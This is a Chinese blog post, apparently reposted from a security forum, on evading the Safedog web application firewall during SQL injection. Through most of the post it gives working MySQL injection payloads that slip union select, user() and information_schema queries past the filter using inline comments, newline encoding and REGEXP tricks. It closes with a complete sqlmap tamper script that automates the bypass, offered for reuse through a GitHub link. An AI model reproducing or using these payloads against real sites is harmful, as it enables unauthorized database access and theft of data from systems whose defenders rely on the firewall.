【干货 | 附脚本】SQL注入bypass最新版安全狗
0x00:前言
安全狗又偷偷摸摸更新了
0x01:绕过
之前安全狗就像没开发完一样,简单内联就过去了,但是现在的安全狗摇身一变,变得稳重了起来。
就连报错界面都变成了大人的模样。
看这架势,不好过啊
首先 and 内敛注释依旧是可以过的,看来安全狗并没有太过关注and,可能是觉得后面的规则比较牛,知道有注入也没用?
然后是order by ,从这里开始,事情就变得微妙了起来
猜测规则是order by 组合强规则,意思就是order by中间无论加什么都过不去
随便试一试
果然,但是有没有发现,我fuzz的符号里没有加#号,因为加了就会这样
由于锚点这个特殊性,盲猜这是一个突破点
可能安全狗遇到注释也会直接截断掉后面的语句(类似某锁),那就好说了,构造个注释在语句前面即可
居然没过,小看你了安全狗,看来order by规则还没失效,那么 尝试隔断order by
中间加个%0a
轻轻松松
接下来是union select 组合
同理,也可以这样过
1' REGEXP "[…%0a%23]" /*!11444union %0a select*/ 1,2,3 --+
下一个是user()这类函数,这里也是个坑,发现直接括号会被拦
去一个右括号就没事了,这规则也是无语
既然如此,在括号里下文章即可
依然是换行加注释绕过
-1' REGEXP "[…%0a%23]" /*!11444union %0a select*/ 1,user(%0a /*!80000aaa*/),3 -- +
然后是INFORMATION_SCHEMA 这玩意,居然也被加到了规则里,
没关系,继续构造换行注释,
-1' REGEXP "[…%0a%23]" /*!11444union %0a select*/ 1,(select %0a group_concat(s
chema_name %0a /*80000aaa*/) %0a from %0a /*!11444 /*REGEXP "[…%0a%23]"*/ %0a information_schema.schemata*/),3-- +
0x02:tamper
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
Copyright (c) 2006-2019 sqlmap developers (http:%23 %26%23 %26sqlmap.org%23 %26)
See the file 'LICENSE' for copying permission
Author:pureqh.top
"""
import re
import os
from lib.core.data import kb
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
__priority__ = PRIORITY.LOW
def dependencies():
singleTimeWarnMessage("Bypass safedog by pureqh'%s' only %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))
def tamper(payload, **kwargs):
payload=payload.replace(" "," ",1)
payload=payload.replace("ORDER BY","REGEXP "[...%25%23]" /*!11444order %0a by*/")
payload=payload.replace("union ALL SELECT","/*!11444union all%0a select*/")
payload=payload.replace(" AND","/*!11444AND*/")
payload=payload.replace("(SELECT (CASE","(/*!11444SELECT*/ %0a (CASE")
payload=payload.replace("UNION SELECT","/*!11444union*/ /*REGEXP "[...%25%23]"*/ %0a select /*REGEXP "[...%25%23]"*/")
payload=payload.replace("UNION ALL SELECT","REGEXP "[...%0a%23]" /*!11444union %0a select */ ")
payload=payload.replace("()","(%0a /*!80000aaa*/)")
payload=payload.replace(" AS","/*!11444AS*/")
payload=payload.replace("FROM","/*!11444FROM*/")
payload=payload.replace("INFORMATION_SCHEMA","/*like"%0a%23"*/ %0a INFORMATION_SCHEMA")
payload=payload.replace("INFORMATION_SCHEMA.TABLES","%0a /*!11444INFORMATION_SCHEMA.TABLES*/")
return payload
题外话 某锁也能这样过
代码已更新至github
https://github.com/pureqh/bypasswaf
转载于https://xz.aliyun.com/t/10479